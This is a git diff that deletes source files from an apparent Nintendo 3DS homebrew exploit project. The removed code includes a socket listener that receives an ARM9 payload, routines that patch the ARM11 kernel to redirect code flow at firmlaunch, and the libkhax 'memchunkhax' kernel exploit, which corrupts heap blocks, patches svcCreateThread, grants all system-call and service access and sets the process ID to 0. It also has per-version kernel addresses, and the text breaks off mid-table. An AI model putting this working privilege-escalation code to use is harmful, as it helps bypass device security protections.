AF_INET; - sa.sin_port = htons(BRAHMA_NETWORK_PORT); - sa.sin_addr.s_addr = gethostid(); - - if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { - printf("[!] Error: bind()\n"); - close(sockfd); - return 0; - } - - if (listen(sockfd, 1) != 0) { - printf("[!] Error: listen()\n"); - close(sockfd); - return 0; - } - - printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT); - - g_ext_arm9_size = 0; - g_ext_arm9_loaded = 0; - - sflags = fcntl(sockfd, F_GETFL); - if (sflags == -1) { - printf("[!] Error: fcntl() (1)\n"); - close(sockfd); - } - fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK); - - hidScanInput(); - old_kDown = hidKeysDown(); - while (1) { - hidScanInput(); - kDown = hidKeysDown(); - if (kDown != old_kDown) { - printf("[!] Aborted\n"); - close(sockfd); - return 0; - } - - clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen); - svcSleepThread(100000000); - if (clientfd > 0) - break; - } - - printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr), - ntohs(client_addr.sin_port)); - - s32 recvd; - u32 total = 0; - s32 overflow = 0; - while ((recvd = recv(clientfd, g_ext_arm9_buf + total, - ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) { - if (recvd != -1) { - total += recvd; - printf("."); - } - if (total >= ARM9_PAYLOAD_MAX_SIZE) { - overflow = 1; - printf("[!] Error: invalid payload size\n"); - break; - } - } - - fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK); - - printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total); - g_ext_arm9_size = overflow ? 0 : total; - g_ext_arm9_loaded = (g_ext_arm9_size != 0); - - close(clientfd); - close(sockfd); - - return g_ext_arm9_loaded; -} - -/* reads ARM9 payload from a given path. - filename: full path of payload - offset: offset of the payload in the file - max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE) - returns: 0 on failure, 1 on success */ -s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) { - s32 result = 0; - u32 fsize = 0; - u32 psize = 0; - - if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE) - max_psize = ARM9_PAYLOAD_MAX_SIZE; - - if (!filename) - return result; - - FILE *f = fopen(filename, "rb"); - if (f) { - fseek(f , 0, SEEK_END); - fsize = ftell(f); - - if (offset < fsize) { - psize = fsize - offset; - if (psize > max_psize) - psize = max_psize; - - g_ext_arm9_size = psize; - - fseek(f, offset, SEEK_SET); - if (psize >= 8) { - u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f); - result = (g_ext_arm9_loaded = (bytes_read == psize)); - } - } - fclose(f); - } - return result; -} - -/* reads ARM9 payload from memory. - data: array of u8 containing the payload - dsize: size of the data array - returns: 0 on failure, 1 on success */ -s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { - s32 result = 0; - - if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) { - g_ext_arm9_size = dsize; - memcpy(g_ext_arm9_buf, data, dsize); - result = g_ext_arm9_loaded = 1; - } - - return result; -} - -/* copies ARM9 payload to FCRAM - - before overwriting it in memory, Brahma creates a backup copy of - the mapped firm binary's ARM9 entry point. The copy will be stored - into offset 4 of the ARM9 payload during run-time. - This allows the ARM9 payload to resume booting the Nintendo firmware - code. - Thus, the format of ARM9 payload written for Brahma is the following: - - a branch instruction at offset 0 and - - a placeholder (u32) at offset 4 (=ARM9 entrypoint) */ -s32 map_arm9_payload (void) { - void *src; - volatile void *dst; - - u32 size = 0; - s32 result = 0; - - dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); - - if (!g_ext_arm9_loaded) { - return 0; - } - else { - // external ARM9 payload - src = g_ext_arm9_buf; - size = g_ext_arm9_size; - } - - if (size <= ARM9_PAYLOAD_MAX_SIZE) { - memcpy((void *)dst, src, size); - result = 1; - } - - return result; -} - -s32 map_arm11_payload (void) { - void *src; - volatile void *dst; - u32 size = 0; - u32 offs; - s32 result_a = 0; - s32 result_b = 0; - - src = &arm11_start; - dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED); - size = (u8 *)&arm11_end - (u8 *)&arm11_start; - - // TODO: sanitize 'size' - if (size) { - memcpy((void *)dst, src, size); - result_a = 1; - } - - offs = size; - src = &g_arm11shared; - size = sizeof(g_arm11shared); - - dst = (u8 *)(g_expdata.va_exc_handler_base_W + - OFFS_EXC_HANDLER_UNUSED + offs); - - // TODO sanitize 'size' - if (result_a && size) { - memcpy((void *)dst, src, size); - result_b = 1; - } - - return result_a && result_b; -} - -void exploit_arm9_race_condition (void) { - - s32 (* const _KernelSetState)(u32, u32, u32, u32) = - (void *)g_expdata.va_kernelsetstate; - - asm volatile ("clrex"); - - /* copy ARM11 payload and console specific data */ - if (map_arm11_payload() && - /* copy ARM9 payload to FCRAM */ - map_arm9_payload()) { - - /* patch ARM11 kernel to force it to execute - our code (hook1 and hook2) as soon as a - "firmlaunch" is triggered */ - redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X + - OFFS_EXC_HANDLER_UNUSED), - (u32 *)g_expdata.va_patch_hook1); - - redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE + - OFFS_EXC_HANDLER_UNUSED + 4), - (u32 *)g_expdata.va_patch_hook2); - - CleanEntireDataCache(); - dsb(); - InvalidateEntireInstructionCache(); - - // trigger ARM9 code execution through "firmlaunch" - _KernelSetState(0, 0, 2, 0); - // prev call shouldn't ever return - } - return; -} - -/* restore svcCreateThread code (not really required, - but just to be on the safe side) */ -s32 priv_firm_reboot (void) { - __asm__ volatile ("cpsid aif"); - - // Save the framebuffers for arm9, - u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00); - memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData)); - - exploit_arm9_race_condition(); - - return 0; -} - -/* perform firmlaunch. load ARM9 payload before calling this - function. otherwise, calling this function simply reboots - the handheld */ -s32 firm_reboot (void) { - s32 fail_stage = 0; - - // Make sure gfx is initialized - gfxInitDefault(); - - // Save the framebuffers for arm11. - frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000; - frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000; - frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000; - gfxSwapBuffers(); - - fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ - if (setup_exploit_data()) { - fail_stage++; /* failure while trying to corrupt svcCreateThread() */ - if (khaxInit() == 0) { - fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ - svcBackdoor(priv_firm_reboot); - } - } - - /* we do not intend to return ... */ - return fail_stage; -} diff --git a/ninjhax/source/hid.c b/ninjhax/source/hid.c deleted file mode 100644 index d9669a9..0000000 --- a/ninjhax/source/hid.c +++ /dev/null @@ -1,27 +0,0 @@ -#include <3ds.h> -#include - -/* loop until key is pressed */ -void wait_key (void) { - hidScanInput(); - u32 old_kDown, kDown; - old_kDown = hidKeysDown(); - - while (aptMainLoop()) { - gspWaitForVBlank(); - - hidScanInput(); - kDown = hidKeysDown(); - if (kDown != old_kDown) - break; - - gfxFlushBuffers(); - gfxSwapBuffers(); - } -} - -/* convenience function */ -void wait_any_key (void) { - printf("\n\nPress key to continue\n"); - wait_key(); -} diff --git a/ninjhax/source/libkhax/LICENSE b/ninjhax/source/libkhax/LICENSE deleted file mode 100644 index 1456b22..0000000 --- a/ninjhax/source/libkhax/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 Myriachan - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/ninjhax/source/libkhax/demo/Makefile b/ninjhax/source/libkhax/demo/Makefile deleted file mode 100644 index 79baef4..0000000 --- a/ninjhax/source/libkhax/demo/Makefile +++ /dev/null @@ -1,177 +0,0 @@ -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- - -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -TOPDIR ?= $(CURDIR) -include $(DEVKITARM)/3ds_rules - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# DATA is a list of directories containing data files -# INCLUDES is a list of directories containing header files -# -# NO_SMDH: if set to anything, no SMDH file is generated. -# APP_TITLE is the name of the app stored in the SMDH file (Optional) -# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) -# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) -# ICON is the filename of the icon (.png), relative to the project folder. -# If not set, it attempts to use one of the following (in this order): -# - .png -# - icon.png -# - /default_icon.png -#--------------------------------------------------------------------------------- -TARGET := $(notdir $(CURDIR)) -BUILD := build -SOURCES := . ../ -DATA := data -INCLUDES := include -APP_TITLE := khax -APP_DESCRIPTION := ARM11 KernelHax -APP_AUTHOR := Myria -ICON := logo.png -NO_SMDH := 1 - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard - -CFLAGS := -g -Wall -O3 -mword-relocations \ - -fomit-frame-pointer -ffast-math \ - $(ARCH) - -CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG - -CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 - -ASFLAGS := -g $(ARCH) -LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) - -LIBS := -lctru -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CTRULIB) - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- - -export OUTPUT := $(CURDIR)/$(TARGET) -export TOPDIR := $(CURDIR) - -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) - -export DEPSDIR := $(CURDIR)/$(BUILD) - -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) -#--------------------------------------------------------------------------------- - export LD := $(CC) -#--------------------------------------------------------------------------------- -else -#--------------------------------------------------------------------------------- - export LD := $(CXX) -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- - -export OFILES := $(addsuffix .o,$(BINFILES)) \ - $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) - -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) - -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) - -ifeq ($(strip $(ICON)),) - icons := $(wildcard *.png) - ifneq (,$(findstring $(TARGET).png,$(icons))) - export APP_ICON := $(TOPDIR)/$(TARGET).png - else - ifneq (,$(findstring icon.png,$(icons))) - export APP_ICON := $(TOPDIR)/icon.png - endif - endif -else - export APP_ICON := $(TOPDIR)/$(ICON) -endif - -.PHONY: $(BUILD) clean all - -#--------------------------------------------------------------------------------- -all: $(BUILD) - -$(BUILD): - @echo $(SFILES) - @[ -d $@ ] || mkdir -p $@ - @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -ifeq ($(strip $(NO_SMDH)),) -.PHONY: all -all : $(OUTPUT).3dsx $(OUTPUT).smdh -endif -cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label -$(OUTPUT).3dsx : $(OUTPUT).elf -$(OUTPUT).elf : $(OFILES) - -#--------------------------------------------------------------------------------- -# you need a rule like this for each extension you use as binary data -#--------------------------------------------------------------------------------- -%.bin.o : %.bin -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @$(bin2o) - -# WARNING: This is not the right way to do this! TODO: Do it right! -#--------------------------------------------------------------------------------- -%.vsh.o : %.vsh -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin - @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h - @rm ../$(notdir $<).shbin - --include $(DEPENDS) - -#--------------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------------- diff --git a/ninjhax/source/libkhax/demo/ctrklib.sln b/ninjhax/source/libkhax/demo/ctrklib.sln deleted file mode 100644 index 0bc429a..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj b/ninjhax/source/libkhax/demo/ctrklib.vcxproj deleted file mode 100644 index ea4e090..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.vcxproj +++ /dev/null @@ -1,82 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - - {80EE495D-0A84-4089-A93E-2B9E2BC38F94} - ctrklib - - - - Application - true - v120 - MultiByte - - - Application - false - v120 - true - MultiByte - - - - - - - - - - - - - - - Level3 - Disabled - true - C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) - - - true - - - - - Level3 - MaxSpeed - true - true - true - C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) - - - true - true - true - - - - - - - - - - - - - - - - - diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters b/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters deleted file mode 100644 index 7a4411e..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters +++ /dev/null @@ -1,36 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - Source Files - - - - - - - - Header Files - - - Header Files - - - diff --git a/ninjhax/source/libkhax/demo/main.c b/ninjhax/source/libkhax/demo/main.c deleted file mode 100644 index 46c787a..0000000 --- a/ninjhax/source/libkhax/demo/main.c +++ /dev/null @@ -1,139 +0,0 @@ -#ifndef LIBKHAX_AS_LIB - -#include <3ds.h> -#include <3ds/services/am.h> -#include -#include -#include -#include -#include "../khax.h" - -#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) - -s32 g_backdoorResult = -1; - -s32 dump_chunk_wrapper() -{ - __asm__ volatile("cpsid aif"); - g_backdoorResult = 0x6666abcd; - return 0; -} - -// Test access to "am" service, which we shouldn't have access to, unless khax succeeds. -Result test_am_access_inner(char *productCode) -{ - // Title IDs of "mset" in the six regions - static const u64 s_msetTitleIDs[] = - { - 0x0004001000020000, 0x0004001000021000, 0x0004001000022000, - 0x0004001000026000, 0x0004001000027000, 0x0004001000028000 - }; - Result result; - char productCodeTemp[16 + 1]; - unsigned x; - - // Initialize "am" - result = amInit(); - if (result != 0) - { - return result; - } - - // Check for the existence of the title IDs. - for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x) - { - result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp); - if (result == 0) - { - memcpy(productCode, productCodeTemp, sizeof(productCodeTemp)); - amExit(); - return 0; - } - } - - amExit(); - return -1; -} - -// Self-contained test. -void test_am_access_outer(int testNumber) -{ - char productCode[16 + 1]; - Result result = test_am_access_inner(productCode); - if (result != 0) - { - productCode[0] = '\0'; - } - printf("amtest%d:%08lx %s\n", testNumber, result, productCode); -} - - -int main() -{ - // Initialize services -/* srvInit(); // mandatory - aptInit(); // mandatory - hidInit(NULL); // input (buttons, screen)*/ - gfxInitDefault(); // graphics -/* fsInit(); - sdmcInit(); - hbInit(); - qtmInit();*/ - - consoleInit(GFX_BOTTOM, NULL); - - consoleClear(); - - test_am_access_outer(1); // test before libkhax - - Result result = khaxInit(); - printf("khaxInit returned %08lx\n", result); - - printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult)); - - test_am_access_outer(2); // test after libkhax - - printf("khax demo main finished\n"); - printf("Press X to exit\n"); - - khaxExit(); - - while (aptMainLoop()) - { - // Wait next screen refresh - gspWaitForVBlank(); - - // Read which buttons are currently pressed - hidScanInput(); - u32 kDown = hidKeysDown(); - (void) kDown; - u32 kHeld = hidKeysHeld(); - (void) kHeld; - - // If START is pressed, break loop and quit - if (kDown & KEY_X){ - break; - } - - //consoleClear(); - - // Flush and swap framebuffers - gfxFlushBuffers(); - gfxSwapBuffers(); - } - - // Exit services -/* qtmExit(); - hbExit(); - sdmcExit(); - fsExit();*/ - gfxExit(); -/* hidExit(); - aptExit(); - srvExit();*/ - - // Return to hbmenu - return 0; -} - -#endif // LIBKHAX_AS_LIB diff --git a/ninjhax/source/libkhax/khax.h b/ninjhax/source/libkhax/khax.h deleted file mode 100644 index 4e8e1a0..0000000 --- a/ninjhax/source/libkhax/khax.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include <3ds.h> - -#ifdef __cplusplus -extern "C" { -#endif - -// Initialize and do the initial pwning of the ARM11 kernel. -Result khaxInit(); -// Shut down libkhax -Result khaxExit(); - -#ifdef __cplusplus -} -#endif diff --git a/ninjhax/source/libkhax/khaxinit.cpp b/ninjhax/source/libkhax/khaxinit.cpp deleted file mode 100644 index 801c69f..0000000 --- a/ninjhax/source/libkhax/khaxinit.cpp +++ /dev/null @@ -1,1140 +0,0 @@ -#include <3ds.h> -#include -#include -#include -#include -#include -#include -#include - -#include "khax.h" -#include "khaxinternal.h" - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // Kernel and hardware version information. - struct VersionData - { - // New 3DS? - bool m_new3DS; - // Kernel version number - u32 m_kernelVersion; - // Nominal version number lower bound (for informational purposes only) - u32 m_nominalVersion; - // Patch location in svcCreateThread - u32 m_threadPatchAddress; - // Original version of code at m_threadPatchAddress - static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; - // System call unlock patch location - u32 m_syscallPatchAddress; - // Kernel virtual address mapping of FCRAM - u32 m_fcramVirtualAddress; - // Physical mapping of FCRAM on this machine - static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; - // Physical size of FCRAM on this machine - u32 m_fcramSize; - // Address of KThread address in kernel (KThread **) - static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); - // Address of KProcess address in kernel (KProcess **) - static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); - // Pseudo-handle of the current KProcess. - static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; - // Returned pointers within a KProcess object. This abstracts out which particular - // version of the KProcess object is in use. - struct KProcessPointers - { - KSVCACL *m_svcAccessControl; - u32 *m_kernelFlags; - u32 *m_processID; - }; - // Creates a KProcessPointers for this kernel version and pointer to the object. - KProcessPointers(*m_makeKProcessPointers)(void *kprocess); - - // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual - // address using the version-specific information in this table entry. - void *ConvertLinearUserVAToKernelVA(void *address) const; - - // Retrieve a VersionData for this kernel, or null if not recognized. - static const VersionData *GetForCurrentSystem(); - - private: - // Implementation behind m_makeKProcessPointers. - template - static KProcessPointers MakeKProcessPointers(void *kprocess); - - // Table of these. - static const VersionData s_versionTable[]; - }; - - //------------------------------------------------------------------------------------------------ - // ARM11 kernel hack class. - class MemChunkHax - { - public: - // Construct using the version information for the current system. - MemChunkHax(const VersionData *versionData) - : m_versionData(versionData), - m_nextStep(1), - m_corrupted(0), - m_overwriteMemory(nullptr), - m_overwriteAllocated(0), - m_extraLinear(nullptr) - { - s_instance = this; - } - - // Free memory and such. - ~MemChunkHax(); - - // Umm, don't copy this class. - MemChunkHax(const MemChunkHax &) = delete; - MemChunkHax &operator =(const MemChunkHax &) = delete; - - // Basic initialization. - Result Step1_Initialize(); - // Allocate linear memory for the memchunkhax operation. - Result Step2_AllocateMemory(); - // Free the second and fourth pages of the five. - Result Step3_SurroundFree(); - // Verify that the freed heap blocks' data matches our expected layout. - Result Step4_VerifyExpectedLayout(); - // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. - Result Step5_CorruptCreateThread(); - // Execute svcCreateThread to execute code at SVC privilege. - Result Step6_ExecuteSVCCode(); - // Grant access to all services. - Result Step7_GrantServiceAccess(); - - private: - // SVC-mode entry point thunk (true entry point). - static Result Step6a_SVCEntryPointThunk(); - // SVC-mode entry point. - Result Step6b_SVCEntryPoint(); - // Undo the code patch that Step5_CorruptCreateThread did. - Result Step6c_UndoCreateThreadPatch(); - // Fix the heap corruption caused as a side effect of step 5. - Result Step6d_FixHeapCorruption(); - // Grant our process access to all system calls, including svcBackdoor. - Result Step6e_GrantSVCAccess(); - // Patch the process ID to 0. Runs as svcBackdoor. - static Result Step7a_PatchPID(); - // Restore the original PID. Runs as svcBackdoor. - static Result Step7b_UnpatchPID(); - - // Helper for dumping memory to SD card. - template - bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; - - // Result returned by hacked svcCreateThread upon success. - static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; - - // Version information. - const VersionData *const m_versionData; - // Next step number. - int m_nextStep; - // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. - int m_corrupted; - - // Free block structure in the kernel, the one used in the memchunkhax exploit. - struct HeapFreeBlock - { - int m_count; - HeapFreeBlock *m_next; - HeapFreeBlock *m_prev; - int m_unknown1; - int m_unknown2; - }; - - // The layout of a memory page. - union Page - { - unsigned char m_bytes[4096]; - HeapFreeBlock m_freeBlock; - }; - - // The linear memory allocated for the memchunkhax overwrite. - struct OverwriteMemory - { - union - { - unsigned char m_bytes[6 * 4096]; - Page m_pages[6]; - }; - }; - OverwriteMemory *m_overwriteMemory; - unsigned m_overwriteAllocated; - - // Additional linear memory buffer for temporary purposes. - union ExtraLinearMemory - { - ALIGN(64) unsigned char m_bytes[64]; - // When interpreting as a HeapFreeBlock. - HeapFreeBlock m_freeBlock; - }; - // Must be a multiple of 16 for use with gspwn. - static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); - ExtraLinearMemory *m_extraLinear; - - // Copy of the old ACL - KSVCACL m_oldACL; - - // Original process ID. - u32 m_originalPID; - - // Buffers for dumped data when debugging. - #ifdef KHAX_DEBUG_DUMP_DATA - unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; - unsigned char m_savedKThread[sizeof(KThread)]; - unsigned char m_savedThreadSVC[0x100]; - #endif - - // Pointer to our instance. - static MemChunkHax *volatile s_instance; - }; - - //------------------------------------------------------------------------------------------------ - // Make an error code - inline Result MakeError(Result level, Result summary, Result module, Result error); - enum : Result { KHAX_MODULE = 254 }; - // Check whether this system is a New 3DS. - Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); - // gspwn, meant for reading from or writing to freed buffers. - Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); - - static Result userFlushDataCache(const void *p, std::size_t n); - static Result userInvalidateDataCache(const void *p, std::size_t n); - static void userFlushPrefetch(); - static void userDsb(); - static void userDmb(); - static void kernelCleanDataCacheLineWithMva(const void *p); - static void kernelInvalidateInstructionCacheLineWithMva(const void *p); - - // Given a pointer to a structure that is a member of another structure, - // return a pointer to the outer structure. Inspired by Windows macro. - template - Outer *ContainingRecord(Inner *member, Inner Outer::*field); -} - - -//------------------------------------------------------------------------------------------------ -// -// Class VersionData -// - -//------------------------------------------------------------------------------------------------ -// Creates a KProcessPointers for this kernel version and pointer to the object. -template -KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) -{ - KProcessType *kproc = static_cast(kprocess); - - KProcessPointers result; - result.m_svcAccessControl = &kproc->m_svcAccessControl; - result.m_processID = &kproc->m_processID; - result.m_kernelFlags = &kproc->m_kernelFlags; - return result; -} - -//------------------------------------------------------------------------------------------------ -// System version table -const KHAX::VersionData KHAX::VersionData::s_versionTable[] = -{ -#define KPROC_FUNC(ver) MakeKProcessPointers - - // Old 3DS, old address layout - { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - // Old 3DS, new address layout - { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 